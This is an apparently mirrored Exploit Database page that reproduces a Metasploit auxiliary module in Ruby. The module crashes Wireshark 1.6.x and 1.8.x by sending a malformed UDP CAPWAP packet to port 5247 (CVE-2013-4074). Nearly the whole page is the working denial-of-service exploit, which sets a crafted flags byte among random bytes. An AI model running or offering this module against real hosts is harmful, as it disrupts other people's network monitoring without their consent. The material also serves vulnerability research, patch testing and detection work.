Wireshark CAPWAP Dissector – Denial of Service (Metasploit)

• Exploit Database
• 16 阅读

• 作者： j0sm1
  日期： 2014-05-28
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/33556/

• #
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Auxiliary
  
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Dos
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Wireshark CAPWAP Dissector DoS',
  'Description'=> %q{
  This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0
  to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an
  incomplete packet.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Laurent Butti', # Discovery vulnerability
  'j0sm1'# Auxiliary msf module
  ],
  'References' =>
  [
  ['CVE', '2013-4074'],
  ['OSVDB', '94091'],
  ['BID', '60500']
  ],
  'DisclosureDate' => 'Apr 28 2014'))
  
  # Protocol capwap needs port 5247 to trigger the dissector in wireshark
  register_options([ Opt::RPORT(5247) ], self.class)
  end
  
  def run
  
  connect_udp
  
  # We send a packet incomplete to crash dissector
  print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")
  # With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then
  # the dissector crash
  # You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt
  # F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
  buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)
  udp_sock.put(buf)
  
  disconnect_udp
  
  end
  end